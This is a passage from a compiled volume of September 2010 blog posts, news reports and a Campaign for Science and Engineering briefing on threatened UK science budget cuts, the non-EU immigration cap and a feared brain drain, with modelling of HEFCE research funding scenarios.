scientists by the media is controlled by a small number of people. While these people may be free from the
political constraints Fox highlights they surely come with their own selection of biases, prejudices and agendas.
It seems Fox is very much wedded to an old media attitude where information is disseminated by herding
journalists into a room and reading from a pre-prepared statement before taking questions. In the age of the
internet there is no reason why the huge numbers of scientists and journalists familiar with online

487 | P a g e
VOLUME 10
communication use non-traditional methods of engaging with journalists free from the interference of third
parties deciding who gets to talk with who and what questions they can ask.
However, Fox is quite right to be concerned that many of the activities of these quango's are going to be dealt
with 'in house' by the government. This will undoubtedly politicise any scientific decision as ministers now have
the ability to pick and choose the experts they want to listen to as well as having direct responsibility for the
publication of any report.
Posted by: gimpy | September 28, 2010 at 11:34 AM

2010/09/28 THE GREAT BEYOND:FRESH


BROADSIDES AGAINST UK SCIENCE CUTS -
SEPTEMBER 28, 2010

Continuing the pre-emptive strike by


British scientists against forthcoming research budget cuts, the Royal Society of Chemistry (RSC) and the
Engineering and Physical Sciences Research Council (EPSRC) today released a reportcommissioned to
estimate the value of chemistry research to the UK economy.

The report, by consultancy Oxford Economics, pins a value on the contribution made by industries
‘upstream’ and ‘downstream’ of chemistry research, and comes up with a figure of £258 billion for the year
2007 - equivalent to 21% of GDP. Science Minister David Willetts responded to the report with a statement
praising research, but conspicuously avoiding the issue of the likely cuts.

Richard Pike, chief executive of the RSC says the report "sends a clear message that it is essential for us to
invest, and invest significantly, in the continued development of the skills pipeline, from schools to
university and beyond”.

Meanwhile, Science is Vital - a campaigning group started by University College London cell biologist Jenny
Rohn - is organising a protest march through London on 9 October to accompany its petition.
Their Facebook group currently has around 2,900 members - and climbing.

These moves follow a letter to Willetts last Thursday from the House of Lords science and technology
committee warning that the impending cuts are already leading to ‘brain drain’, and a press conference on
Friday where Lord Martin Rees, president of the Royal Society, joined five heads of prominent UK
universities to champion British research.

488 | P a g e
VOLUME 10
Decisions about where the axe will fall are likely to be made by the government ‘very soon’ according to
the BBC.

Image: Richard Pike, chief executive of the Royal Society of Chemistry

Posted by Joseph Milton

2010/09/28 CASE: „BRAIN DRAIN‟ THREAT


AS GOVERNMENT HOLDS FIRM ON IMMIGRATION
CAP
CaSE has responded to the Home Office Consultation on Limits of Non-EU Migration and the Migration
Advisory Council Consultation on an Annual Limit on Economic Migration to the UK

By Katherine Barnes, Science Writer

Backlash over the Government’s interim cap on non-EU migrants continued this week, with scientists and
engineers from academia and industry criticising the scheme and warning of its impact on the economy.
University leaders are now protesting against a “double whammy”, with impending cuts to the science
budget and an immigration cap that limits their ability to bring in top talent from abroad.

The government’s temporary cap on migrants was imposed on 28 June, in order to prevent a sudden swell
in visa applications before a more permanent limit is brought in next year, but the limit was based on the
number of overseas staff recruited in 2009, in the depths of recession.

CaSE argues against cap

The Campaign for Science and Engineering (CaSE) argues that a cap could have devastating consequences
for UK universities and industries, which may in turn hinder or stall the economic recovery. We are urging
the Government to exclude scientists and engineers from the cap or to create a separate category to
welcome them to work in the UK and support our future growth and wellbeing, as other countries,
including the US and EU nations, already offer special entry routes to researchers.

“Over one in ten academic appointments in the UK are non-EU citizens – a figure that’s even higher in
some science subjects – and businesses invest here, generating jobs, because they can also attract global
talent”, says Imran Khan, the Director of CaSE. “A cap would have a disproportionate impact on
economically important research and development, so we have a strategic decision to make on whether
we want our universities and industries to be world class, or only decent.”

Elite sportspeople and financial investors are set to be excluded from the cap, because the Government
recognises that would be significant contributors to the economy and not be a drain on public services.
Scientists and engineers need to be similarly recognised as intellectual investors, improving the UK through
their work. And elite scientists have long had a role to play in making the UK a global research hub – at the
MRC’s Laboratory of Molecular Biology, for instance, only five of the thirteen Nobel prizes received there
went to British researchers. And there are readily available ways to define who is a scientist or engineer,
whether that be through citation records or chartered status.

489 | P a g e
VOLUME 10
Khan adds that in 2008, there were more non-EU economic migrants leaving than arriving, according
to official estimates. There has also been a decline in migration of skilled and highly skilled workers,
according to the Office of National Statistics. Now limits on skilled migrants have been phased in, “the UK is
in danger of seeing a ‘brain drain’”, he says. “The Government should be alarmed, instead of potentially
exacerbating the problem.”

‘Significant pain’ to industry

A key factor for where to site R&D infrastructure is access to skilled workers, including being able to
employ global talent. A 2008 survey from the Confederation of British Industry (CBI) found that larger UK
firms look abroad to fill their vacancies in science, technology, engineering, and mathematics. John
Cridland, deputy director-general of the CBI, said the interim cap was a “blunt instrument” that was
causing “significant pain” to some large companies.

General Electric (GE) is just one of the many multinationals affected, with the development of a new £100
million offshore wind turbine now under threat because of the immigration cap. Speaking to
the Independent, Energy Secretary Chris Huhne said that GE is going to find it very difficult to fill some of
the specialist jobs required for the project without bringing in experts from overseas.

James Dyson, engineer and entrepreneur, has also weighed in on the cap, in aDaily Mail piece addressing
the shortage of home-grown engineering talent. “Building and nurturing a competitive home-grown
workforce is paramount,” he says, “but turning away foreign talent risks limiting our ability to create
world-beating technology in the future. Right now we need to attract and retain highly skilled scientists
and engineers from abroad to fill our skills gaps. Otherwise, we’ll lose.”

Dyson argues that although he is always keen to recruit the brightest and best engineering talent from the
UK, sometimes they have to look further afield to recruit specialists, and an immigration cap will make
things harder. Comparing the situation with the US, he says they are much better equipped to put their
talent to good use. “Between 1990 and 2005, immigrants started a quarter of the new venture-backed
public companies. And more than half of the high-tech firms in Silicon Valley had at least one immigrant
founder. We’re missing a trick.”

Last Thursday the car industry joined the chorus of negative reaction to the new policy, and its inclusion of
international transfers within the same company. Paul Everitt, chief executive of the Society of Motor
Manufacturers and Traders (SMMT), has written to Damian Green, the immigration minister, expressing
his concerns saying that the inclusion of intra-company transfers could “impact on the attractiveness of the
UK as a location for inward investment and undermine the UK’s role in an increasingly global economy.”

Business Secretary Vince Cable has been struggling to rationalize the cap in the face of outcry from many
top executives. Speaking on the BBC’s Today programme last week, Cable said Britain was “open for
business” but that the Government would need to implement a “flexible system that serves the interests
of the British economy.”

Universities protest ‘double whammy’

The immigration cap is also having a negative effect on British universities, as they depend on international
recruitment to employ the best researchers and lecturers. Professor Malcolm Grant, President and Provost
of University College London, said at a press briefing on Friday that the combined whammy of a reduction
in public support for science, and negativity about visas could “undercut and destroy a highly successful
area that makes important contributions to the economy.” He added that the two major concerns were
“the effect on recruitment of high-quality students, and the message sent about the UK as a destination for
world class talent.”

490 | P a g e
VOLUME 10
Lord Rees of Ludlow, President of the Royal Society also spoke at the press conference, saying: “This is an
aggravation at a time when we have other significant pressures. It is very important for the country
generally that this unforeseen consequence of the immigration cap should be addressed.”

According to HESA, in 2007/08, 10.5% of all academic staff were non-EU nationals. UK universities also
increasingly rely on the £5bn income received from international activities, including over £1.5bn in fees. In
2008/09, 97,000 non-EU students took science and related subjects, many of them attracted to the UK as
an opportunity to stay on and work after graduating. Restricting this may reduce the numbers of students
and the benefits that the UK can gain from their skills in the workforce.

Dr Julian Huppert MP, who is a former researcher himself, has worked with CaSE in protesting against the
cap. He says it would be very worrying if Britain “risked losing some of the brightest and the best from
around the world, when we should be trying to attract them to this country.” He adds that people are
sensitive not only to what the rules are, but also to how welcome they are made to feel. “We should not
short-change the economy.”

2010/09/29 CASE: SCIENCE IS VITAL


COALITION
By IMRAN KHAN

CaSE’s campaign with Science is Vital is now gathering momentum, with over 6000 people adding their
names to the petition in less than a week. If you haven’t yet signed the petition you can do so here to add
your name to the list of distinguished scientists and engineers who are already supporting the campaign.

Science is Vital is a grassroots movement aimed at highlighting the important role of science, technology,
engineering and mathematics (STEM) in supporting growth as well as wider society, before the
Comprehensive Spending Review on 20th October. As well as the petition, the campaign has now
organized a rallyoutside the Treasury, on 9th October at 2pm, and a lobby of parliament on 12th October.

We encourage all those concerned about the potential cuts to science and engineering to sign the petition
and attend this rally. Its also important to write to your MP, especially if you plan to attend the lobby on
12th October. You can register to attend the lobby here.

2010/09/29 RESEARCH COUNCILS UK:


RESPONSE ABOUT RCUK SSC LTD
RCUK SSC Ltd is currently delivering services to more than 17,000 people and dealing with transactions
from around 20,000 suppliers. From procurement activities alone they are on target to achieve savings of
£25m this financial year and these savings are being reinvested into the core business of the Research
Councils in supporting excellent research. This has been a hugely complex project and we acknowledge
that there have unfortunately been issues with a backlog of invoices during the transition phases. The SSC
has worked, and continues to work, with their customers and suppliers to ensure that new processes are
being followed correctly and are effective. Solutions put in place have addressed the issues and since mid
August the SSC has been processing invoices within agreed time frames.
491 | P a g e
VOLUME 10
The SSC started delivering HR and Payroll services in February 2009 and finance services from October
2009 with the bulk of Research Councils taking finance services during April and May 2010. With the
current pressure on public spending, the Research Councils need to ensure their administration costs are
as efficient as possible by harmonising the administration functions of the seven organisations.

The British Geological Survey (BGS), based in Keyworth, were not threatened with having their electricity
supply cut off. They received notification that a payment was overdue. The invoice was unfortunately
caught up in the short term backlog and payment was delayed. Notification from the energy company that
the payment was overdue was sent to BGS and not to the SSC. Payment was made as soon as the SSC
became aware of the issue and the account is now up to date

The Centre for Ecology and Hydrology (CEH) was visited by Bailiffs in August. The errors leading to this
were due to a problem within NERC’s own internal processes rather than the Shared Services Centre. Once
invoice details were provided to the SSC they were able to process it immediately.

TNT are contracted to transport STFC’s moon rock samples. On 19 July 2010 TNT refused to deliver them as
there were some invoices that were over due. The SSC were made aware of the problem and arranged for
immediate payment. As soon as the payment was received by TNT they delivered the package on 20 July
2010.

- ends -

2010/09/29 THE GREAT BEYOND:VISUALISING


UK SCIENCE CUTS

What would the impact of forthcoming cuts in science funding on British universities look like if they go
ahead?

Research funding from the Higher Education Funding Council for England (HEFCE) is allocated using a star
system - the highest quality projects are given a four star rating, right down to no stars at all for the very
worst. In the last funding round, 2010 – 2011, all two star research and above was awarded funding.

492 | P a g e
VOLUME 10
Two star projects currently make up around 45% of the work carried out in UK institutions, so when
Business Secretary Vince Cable talks about 54% of research being ‘world-class’, the remaining 46% - which
is in the firing line - probably refers to the two star level.

But how would losing two star funding affect the research grants that universities receive from HEFCE? The
impact it would have on the coffers of the 20 UK universities which currently receive the most money from
HEFCE is very variable, as shown in the graph above.

Hardest hit would be the University of Bristol, which would lose a whopping 18% of its research budget,
closely followed by the University of Leicester at 16.5%. Oxford and Cambridge universities would both
stand to lose just over 5% of their funding, the least affected of the 20.

Even cutting all two star research funding would only be equivalent to a 10% cut in HEFCE’s budget. If the
actual cuts were more savage, some three star research would almost certainly vanish too.

An assessment on the Research Fortnight blog explores the possible effects of a few different scenarios,
including Cable’s cuts which it suggests would mean 30 departments losing funding altogether, while small
and new universities would be hit particularly hard.

Data supplied by HEFCE

2010/09/29 ALICE BELL BLOG: THE


KNOWN UNKNOWNS
I’m blogging from Cambridge; at the “Challenging Models in the Face of Uncertainty” conference. With
themes like “Envisioning the Unknown”, there have been a fair few references to Donald Rumsfield. The
focus is unknowns: be they known, unknown, guessed, forecast, imagined or experienced. There has also
been the odd reference how stupid we all are, the problems of a God’s-eye-view and, least we
forget, black swans.

493 | P a g e
VOLUME 10
This morning started with a talk from Johan Rockström on his Planetary Boundaries framework. He quoted
Ban Ki-moon line, that “Our foot is stuck on the accelerator and we are heading towards an abyss”, adding
that we are accelerating as if we were on a clear highway, driving in easy daylight conditions when, really
Rockström argued, we’re on a dirt track, in the middle of the night. What science can/ should do, he
suggested, is turn the headlights on en route to this abyss. Rockström’s talk was very clear, with some neat
little twists on diagrams and the odd metaphorical flourish.

Steve Rayner, in the audience, picked up on this and asked Rockström to reflect on his own ways of
signaling authority when transforming his work into a talk for non-expert audiences. Rockström’s response
was largely to list names of colleagues and more detailed work. In other words, Rockström didn’t answer
Rayner’s question: he simply re-articulated the symbols of authority he’d been asked to reflect upon.
Rayner wasn’t suggesting Rockström didn’t have an empirical basis to his work (or that his work was
wrong), just that when communicating this work outside of science, Rockström inevitably relies upon
rhetoric, and it’d be useful for him to reflect on this role as a rhetorician. But he didn’t, and this was just
left as a question.

The second talk was from Melissa Leach. She emphasised the multiple narratives surrounding the sorts of
issues discussed at this conference, be they connected to climate change, the spread of disease, GMOs,
ash-clouds, nanotechnology, or some other novel technology. She argued that we have a tendency to close
down or re-articulate narratives of ignorance, ambiguity, uncertainty and surprise and instead move to
ones of “risk”. The sense of control and order risk-framed narratives provide is sometimes very helpful, but
it can also be deluded, and shut down possible pathways to useful action. Leach argued that we must open
up politics to pay due attention to multiple narratives; to question dominance and authority, to increase
the ideas and evidence available to us.

Ok, but how do you do this? For example, we might argue that the internet provides a great opportunity
for the presentation of such a multiplicity of narratives and, moreover, an opportunity for such narratives
to productively learn from/ change each other. At times it does just that. And yet, science blogging can also
be deeply tribal, climate blogging especially so (and, I’d argue, considering its history, understandably so).

This evening, was a public lecture from Lord Krebs, on the complex interface between evidence, policy-
making and uncertainty. He outlined three key tensions in this interface, each illustrated with examples. 1)
Scientists disagree with each other, e.g. over bystander effect and pesticides. 2) Scientists sometimes just
don’t know, even when they develop elaborate experiments to find out, e.g. with badger culling. 3)
Sometimes it doesn’t matter what the science says, the politicians will be swayed by other issues, e.g.
alcohol. I enjoyed Krebs’ talk. He had some really neat examples and there were some good discussion in
the Q&A. Still, I left uninspired and unenlightened.

494 | P a g e
VOLUME 10
Today, I’ve heard a lot of very old and (to me at least) very familiar talk about issues in science
communication. I’ve seen a bit of new data and collected some new jargon, but I’m yet to come across any
new ideas. I’ve been told that people believe what they want to believe, that science and the perception of
it is culturally embedded, that the so-called experts are often as misleading and as likely to mislead as the
so-called public, that science and politics make uneasy bedfellows and, of course, that it’s all terribly,
terribly complicated.

But I knew that. I knew that ten years ago. I want something new.

Maybe I’m being unfair on this conference. I admit I’m tired and in need of a holiday. Also,
interdisciplinary events are always very difficult to pull off, and it is only half way through.

Maybe tomorrow will surprise me.

2010/09/29 EXQUISITE LIFE: THE EFFECTS OF


CUTTING QR IN ENGLAND BY 15 PER CENT
Cuts of 15 per cent in the research funded by the Higher Education Funding Council for England could
redraw the map of research in England, with dozens of universities, hundreds of departments and tens of
thousands of researchers potentially losing all their funding.

Research Benchmarks has looked at three scenarios for implementing cuts of 15 per cent in HEFCE’s £1.6
billion QR budget. The powerful impact on many different kinds of institutions in all three shows there is
no easy option for cuts as ministers finalise their plans.

The three scenarios have been inspired by the different emphasis placed on cuts by Vince Cable, David
Willetts and Universities UK.

Cable’s approach shares the pain most widely, but there would still be medical schools losing around 30
per cent of their income, and the top end of the Russell Group would be badly hit. Imperial College London
for example would lose 10 per cent of its income.

Willetts’ approach has been to emphasise the need to shore up strong departments. That approach leads
to a massive loss of diversity in the system with over 40 institutions and 20,000 researchers being excluded
from funding altogether.

UUK has suggested introducing some kind of threshold into the funding formula used to allocate QR. That
approach could exclude over 800 departments from funding, and cost leading lights such as Liverpool and
Cranfield almost 30 per cent of their income.

The modelling shows that whatever course ministers ultimately choose, cuts of this magnitude will lead to
a historic re-drawing of the research map in England’s universities.

Inspired by Vince Cable

In his big speech on science earlier this month, Cable hinted at withdrawing funding from the 45 per cent
of research rated 2* or below in the 2008 Research Assessment Exercise. Unfortunately, that only accounts

495 | P a g e
VOLUME 10
for about 10 per cent of Mainstream QR. To get to 15 per cent, you also have to start cutting into funding
for 3* research.

This approach is the most consistent with previous policy at HEFCE and could be presented as a
straightforward tightening of the screw of concentration in tough times. Only 30-odd departments lose
funding altogether. Of the options, it spreads the pain most widely. But it comes with significant
downsides:

 Big research-intensive universities are hit hard. Liverpool and Newcastle both lose more than 15 per
cent.
 Cambridge, Oxford and Imperial all lose about 10 per cent.
 Losses of 20 - 70 per cent for new universities
 Some medical schools hit hard - eg St Georges in London loses 28 per cent.
 Many weaker departments see most of their researchers excluded from funding and their grant
reduced by around 40 per cent.
 Some physics departments lose a quarter of their funding.

Inspired by David Willetts

David Willetts has spoken of the need to support excellent departments. This approach can be put into
effect by restricting funding to those departments with the largest power - a combination of quality and
volume. (To be precise, quality as measured in the RAE 2008 and adjusted according to HEFCE’s current *9
3 1 0 0] formula and multiplied by the number of staff submitted).

This protects departments that are both big and good, maintaining critical mass across the system but at
the expense of smaller, sometimes higher quality departments. This keeps the cuts in all the Golden
Triangle institutions to no more than 5 per cent. But because big departments take most of the money
anyway, the consequence of this policy would be a massive decrease in the diversity of the system:

 1021 departments lose all funding, more than half the total of 1844.
 These departments contain over 20,000 researchers, many of whom will likely be driven out of
research altogether.
 More than 40 institutions lose all funding.
 The likes of Liverpool, Newcastle and Sheffield no better off than they were in the Vince Cable
scenario.

Inspired by UUK

Universities UK has introduced the idea of limiting funding to universities that cross a threshold of quality.
We looked at one way of putting this into practice in Research Fortnight recently. Another way is simply to
restrict funding to those departments with the highest quality, based on the 2008 RAE results and the [9 3
1 0 0] weightings in use by HEFCE currently.

This again prioritises excellence with the Golden Triangle doing well. Some small, highly focused and high-
quality universities such as Durham and York escape with cuts of only 2 per cent. But there are costs. A
large department may have a low percentage of 4* work but still have many more 4* researchers than a
small department with a higher quality score. In this scenario, the big department can lose all its money.
The consequences are again dramatic:

 820 departments lose all funding


496 | P a g e
VOLUME 10
 Close to 20,000 researchers affected
 32 institutions lose all funding
 Nottingham and Newcastle lose 15 per cent
 Liverpool and Cranfield lose almost 30 per cent.

It seems clear that in many of the possible scenarios, some universities will lose out purely because of the
strategy they adopted in 2008 for including or excluding staff from assessment in the RAE - something they
were promised at the time would not affect funding.

Comment

Cuts of 15 per cent in research budgets have been in focus since an authoritative leak in the Financial
Times at the start of last week. But it is one thing to look at cuts of 15 per cent in the abstract. It’s quite
another to face up to what they would really mean in practice. The numbers in these scenarios show that
there are no easy options when the cuts reach this scale, and should make sobre reading for vice-
chancellors around the country.

The Golden Triangle are widely seen as big enough and brilliant enough to hold their own in any system.
But successive leaders at HEFCE have been anxious to maintain capability in the middle ranks of the Russell
Group, at places like Nottingham and Liverpool. That objective took a big knock with the 2008 RAE results.
With new universities eating into the QR cake, the likes of Liverpool and Newcastle were squeezed. This
modelling shows that there is no obvious way to avoid squeezing them further with cuts of this magnitude.

It is the Vince Cable inspired scenario that’s worst for the Russell Group. But if ministers try and protect the
Russell Group with one of the other scenarios, then the effect is devastation everywhere else.

It would be a striking way for the Conservatives to book-end 13 years of Labour power. Since Margeret
Thatcher dissolved the binary line between universities and polytechnics in 1992, we have gradually
increased the research capability of what were the polytechnics. Now, in one swoop, much of that could be
obliterated.

If so, we could be reverting to a 1950s sort of system where to get on in research you had to be talent-
spotted by someone at an elite university. Maybe that’s not a bad idea. But with the change being so
sudden, a lot of talented people recognised by the 2008 RAE may find themselves in the wrong place at the
wrong time, with no obvious way out.

Cuts of this magnitude will be handled by different universities in different ways. In the less research-
intensive places, departments stripped of QR funding may well turn their back on research. Wealthier,
more prestigious universities may well calculate that they can shore up losses in their research income
with increased student fees. For them the worry is that uncertainty may eat up their surpluses before the
new system of fees is bedded down in a stable market.

It’s clear that almost any conceivable scenario involves large transfers of money to the South and East of
England from the rest of the country - the reverse of high-profile coalition promises.

In any case, bad as they may be, all three scenarios are, in my book, better than the Russell Group’s
preferred Option 4 - limiting QR to the top 30 or so universities. At least these scenarios all leave some
dynamism, some competition in the system.

Modelling notes

497 | P a g e
VOLUME 10
The modelling has been done by looking at the allocation of Mainstream QR and assuming that any
changes here are reflected in the allocation of other parts of QR.

The Vince Cable scenario can be calculated by using the weightings [9 2.64 0 0 0] instead of [9 3 1 0 0] to
calculate the allocations to departments.

In other two scenarios it is a case of ranking departments appropriately and then drawing a line at the
bottom of the list to be funded.

More detailed tables (and explanation) are available to customers of our Research Benchmarks service.
These show definitve lists of winning and losing universities and departments. We also have tables for
other levels of cuts, eg 10 per cent or 20 per cent. Email Benchmarks@ResearchResearch.com for details.

Posted by William Cullerne Bown | Permalink

2010/09/30 GUARDIAN SCIENCE: BRITAIN


FACES BRAIN DRAIN AS CUTS FORCE TOP
SCIENTISTS TO LEAVE COUNTRY
University heads warn proposed cuts to science budget threaten 'an insidious grinding down of UK
research community' Jeevan Vasagar, education editor, and Jessica Shepherd

Research laboratories such as this


one at King's College, University of London, may suffer from funding cuts. Photograph: Martin Argles for
the Guardian

Britain is facing a major brain drain as scientists abandon the country for better-funded jobs abroad, a
Guardian investigation reveals today.

Leading researchers, including an Oxford professor of physics and a stem cell researcher seeking a cure for
the commonest form of blindness, say they are poised to quit Britain. Meanwhile the heads of several
prestigious universities warn that proposed government cuts to Britain's science budget threaten "an
insidious grinding down of the UK research community".

498 | P a g e
VOLUME 10
This comes against a background in which universities say they are already struggling to attract the best
candidates to important research and teaching posts, and warnings that this month's spending review
could, according to some estimates, take as much as 25% out of Britain's total spending on scientific
research.

The Guardian has spoken to researchers in fields ranging from cancer and human fertility to nuclear
physics, and found that many are preparing to emigrate. Professor Brian Foster, a particle physicist at
Oxford, said he was likely to shift most of his research to Germany, having been offered a professorship at
Hamburg University which comes with £4.3m to spend on research.

Dr Carlos Gias, a stem cell researcher at University College London, has decided to move either to
Singapore or the US. Gias, whose research is focused on a form of blindness called age-related macular
degeneration, said: "I have seen people from this department leaving to Singapore, and they have been
trying to find jobs in Britain and they couldn't. It's not been just one or two [but] several of them, and [in
Singapore+ … they don't have any problems of funding."

Professor Don Nutbeam, vice-chancellor of Southampton University, said fears of cuts to the science
budget and greater investment in countries such as Singapore, France and Germany would exacerbate the
problem.

He said that he expected a steady loss of researchers and believed that Britain's world ranking in research
could be undone within five years. "There will be an insidious grinding down of the UK research community
if the sorts of cuts being talked about are enacted," he said.

Even the most prestigious universities are concerned. Sir Leszek Borysiewicz, who will become the vice-
chancellor of Cambridge tomorrow, said that while his university was relatively insulated by its status, he
shared fears that Britain's international competitors were accelerating while Britain hit the brake. "Young
researchers will always look to see where there is the greatest opportunity to fund the science," he said.
"We're not talking about salary levels. For many researchers it is about the infrastructure, the facilities, the
capacity to grow their groups, and anything which undermines that is going to make it more difficult for
institutions to recruit high-level people."

Even at Cambridge, the best candidates for posts in neuroscience and aeronautics have been lured
elsewhere because of generous start-up funding. "Our competitors have resources to make available six-
figure start-up packages for relatively junior staff; we can only do that, and at a stretch, for professorial
staff," a Cambridge spokesman said.

Major science funders have outlined areas of research that could be shut down if significant cuts
materialise. The Medical Research Council is considering a withdrawal from cancer research to save
£105m.

The Science and Technology Facilities Council fears cuts could force it to mothball major laboratories such
as the £145m ISIS neutron source in Oxfordshire. Britain's involvement in other international facilities, such
as the European Synchrotron Radiation Facility in Grenoble, is also threatened.

The Engineering and Physical Sciences Research Council will close down studentships to manage a minor
reduction in funding and will rescind up to £135m of grants already awarded if cuts are deeper.

Nick Wright, pro-vice chancellor for research at Newcastle University, said his institution was already
having recruitment problems.

"I've got recent direct experience sitting as the chair of a professorial recruitment panel and candidates
from North America asking us whether UK research funding was going to be cut and what the prognosis
was for the future," he said.
499 | P a g e
VOLUME 10
"We have to tell the truth and it's clear that disappoints them. I'm talking about a candidate from a
Canadian university working in medical research, where [funding] was one of the clinchers."

Read the full investigation in tomorrow's Guardian.

Additional reporting by Ian Sample and Alok Jha

2010/09/30 IN VERBA RS BLOG: ROYAL


SOCIETY AT THE LABOUR PARTY CONFERENCE
By Jessica Bland

Sitting behind a Lib Dem Secretary of State on the Monday morning train to Manchester, the difference
between this and previous Labour conferences was already apparent. There are the obvious signs: there
are fewer MPs and fewer balloons, but also a new focus on pulling apart an unexpected opponent – a Tory-
Lib Dem coalition.

At the Royal Society’s joint fringe event with the 1994 group, Shadow innovation and skills Minister David
Lammy said, “the result of the general election in May was worse for this sector than any other part of the
public sector”. He called the differences between Lib Dems and Conservatives “too marked” for a joint
strategy, leaving the coalition without a clear direction. Vince Cable was described as a nice guy, but one
who had not yet spoken convincingly about industry and science in the same way that he speaks about
business policy.

Lammy went on to criticise the coalition for having a strategy for cuts but not for growth. He added, “if
there is no story on growth, and if science and research is not at the centre of that growth story,” then cuts
will do permanent damage to our economy. He continued to argue that any economic plans should have a
strong knowledge base at their core, saying that science was always central to Labour’s growth strategy – a
nod to Tony Benn sitting at the back of the room.

Ed Miliband echoed this point in a statement to Scientists for Labour: “If we neglect investment in STEM
[science, technology, engineering and mathematics] now, we will pay a heavy price in the growth,
productivity and employment foregone in the future”.

500 | P a g e
VOLUME 10
Speaking after Lammy and Richard Jones FRS, Will Hutton reiterated the argument that growth comes
from a strong research base. He went as far as to say: “I would cut the health budget before I cut the
science budget. In fact, I would cut any budget before I cut the science budget.”

Hutton also discussed the future interdisciplinary nature of science. For him, interdisciplinarity makes for
less predictable technological innovation. To stay internationally competitive the UK will need to stay
strong in a wide range of disciplines. This is a point made recently by an eloquent letter from Lord
Mandelson in the Financial Times, which I blogged on here.

With other nations investing in science, in Hutton’s view, “it’s game on”. The UK needs to retain its position
as a world leader in research in order to secure its economic future. Lammy agreed: “At a time when
France, Germany and China are committing to science, how can we walk away?”

At a time when nationally, we are focused on graduate taxes, top-up fees and youth unemployment,
Lammy set out the key challenge ahead of next month’s comprehensive spending review of public
spending. The challenge for his party, for BIS and for the research community is to make sure that the
Treasury sees universities “not just as a destination for young undergraduates but as absolutely essential
to the modern economy.”

Next week, we’ll be at the Conservatives’ conference. If you’re there, come along.

2010/09/30 CASE: THE UKCMRI MAKES ITS


CASE
Camden councillors will take account of education, healthcare, science and innovation when they consider
plans for a world-leading medical research institute at St Pancras, writes Jim Smith, Director of the
MRC’s National Institute for Medical Research

Planners at Camden Council in London have begun to examine a detailed and lengthy planning application
submitted by the UK Centre for Medical Research and Innovation (UKCMRI). Councillors will listen to a
range of opinions: from local supporters who want to see significant investment and regeneration brought
to the area, to opponents who would like to see the 3.6 acre site at St Pancras used for housing or local
amenities.

The Town Hall at Camden is urging people to submit their views on the plans. The formal consultation lasts
until mid-October.

For science, this is a wonderful opportunity. UKCMRI is positioned within a unique cluster of research
expertise, together with leading hospitals (including Moorfields Eye Hospital, the National Hospital for
Neurology and Neurosurgery, Great Ormond Street Hospital and University College Hospital) and, in UCL
(University College London), one of the world’s top universities.

The institute – founded by the Medical Research Council, Cancer Research UK, the Wellcome Trust and UCL
– will break down the barriers between different research teams and different disciplines. And through
continuous renewal of its research interests and skills, it will maintain its scientific vigour and propagate
and disperse scientists of the highest calibre throughout the country. It will recruit and train outstanding
scientists and encourage creative research to investigate the most challenging questions for the benefit of
the whole of the UK.

501 | P a g e
VOLUME 10
UKCMRI will initially build on the complementary skills and research interests of two of the founders’
research institutes, the MRC National Institute for Medical Research (NIMR) and the Cancer Research UK
London Research Institute(LRI), together with UCL scientists focusing on physics, computing, engineering,
imaging and chemistry.

The project meets a range of planning objectives being considered by the Council. It will support
innovation, bring improvements to health, maintain medical excellence, support further and higher
education, and bring significant economic benefits to the UK.

A decision from the Council’s planning committee is expected before Christmas.

502 | P a g e
VOLUME 10
29 Gordon Square Campaign for
London WC1H OPP
Science and
Tel: 020 7679 4995 Fax: 020 7916 8528
info@sciencecampaign.org.uk Engineering
www.sciencecampaign.org.uk in the UK

How is UK Science and Engineering Funded? 23/09/2010

• The UK spent £25bn on R&D in


2007/8, 1.8% of GDP
¾ 47% UK private sector
¾ 30% Government spending
¾ 17% Foreign investment
¾ 6% Non-profit sector

Table (right) shows actual and target


spending on R&D by the UK and
international competitors in 2007.

• Globally the UK is 15th for proportion of GDP spent on R&D (2007, UNESCO), behind
nations like Israel, Sweden, Korea, Finland and Japan (all above 3%), and Iceland,
the USA, Singapore, Denmark, Germany and Austria (all above 2.5%). Unlike many
competitors, the UK did not invest in the research base in response to the recession,
so our ranking is likely to have fallen.

• The EU has a target of 3% GDP to be spent on R&D from all sources by 2014. The
previous UK government set a lower target of 2.5%. The new coalition government
has not made a statement on its R&D goal.

• No other G7 country receives more R&D investment from foreign firms than the UK.
But UK firms are outsourcing more R&D overseas; such outsourcing has nearly
trebled from 1996 to 2005, reaching £1.75 bn.

• Charitable R&D has been rising since 2004 and reached over £1bn in 2009.

Public funding of UK R&D


As a percentage of GDP, UK government spending on R&D fluctuated from 0.52% to
0.59% over the last decade, and was 0.55% in 2007. Across the G7 in 2006, only Italy
spent less than the UK, with German public spending at 0.71%, France at 0.81% and
the USA at 0.77%. Public money is invested in R&D in a variety of ways:

Table 1. Funding streams in UK R&D, net spend in 2007/08 and % change since 2004
Public funding streams Millions %change Policy Objectives
Knowledge Policy Societal Wealth Defence
& Skills Issues Creation
Science Budget £3,520 +42 *** ** ** ** **
Funding councils (e.g. HEFCE) £2,230 +14 *** * * * *
Civil Departments £1,290 -28 * *** ** * -
Ministry of Defence £2,140 -23 * * * * ***
Tech. Strategy Board* £230 - * - ** *** *
Regional Dev. Agencies £440 - * - ** *** -
R&D Tax Credit (2006/07) £670 - * - * *** *
European Union R&D £368 - ** ** ** ** -
* a further £100 million from RDAs & research councils not been included to avoid double counting
Direct funding via Science Budget & Funding Councils – ‘Dual Support’ system

The Science Budget allocates money to seven different research councils who fund
research projects, studentships, and national research facilities. While the bulk of the
Science Budget is delivered to research councils, it also includes £400m capital funding,
£100m knowledge transfer, £70m National Academies, £60m science and society and
other programmes, and (more recently) funding for the Government Office for Science.

Universities receive general research money via the regional Higher Education
Funding Councils depending on a number of factors. A large stream of this is “quality
related” (QR) and is determined by prior research performance through the Research
Assessment Exercise (likely to be replaced by the Research Excellence Framework). One
strand of QR money also supports charity-funded research (e.g., HEFCE provided £180
million in 2007/08).

The performance of the UK research base:


• The UK is home to 29 of the world’s top 200 universities, including three of the top
ten (Times Higher Education World University Rankings 2010).
• The UK produces 12% of all citations and 14% of the most highly cited papers. The
UK’s share of world publications has been slowly falling over the last decade to 8%,
reflecting the growth of other countries like China (whose share quadrupled in a
decade), Brazil and South Korea.
• Investment in UK research is very efficient:
• The UK is 3rd in the world in terms of citations per researcher
• The UK is ranked first in the G8 for scientific papers as a proportion of GDP
• About 90% of research funds (£980m out of £1095m) from HEFCE go to 3*
‘internationally excellent’ or 4* ‘world-leading’ research
• Research council grants are extremely competitive. In 2003, the overall grant
success rate across research councils was around 40% - it has now fallen to
around 20% (2008).

R&D tax credits


R&D tax credits are not counted as direct spending on R&D because they are a
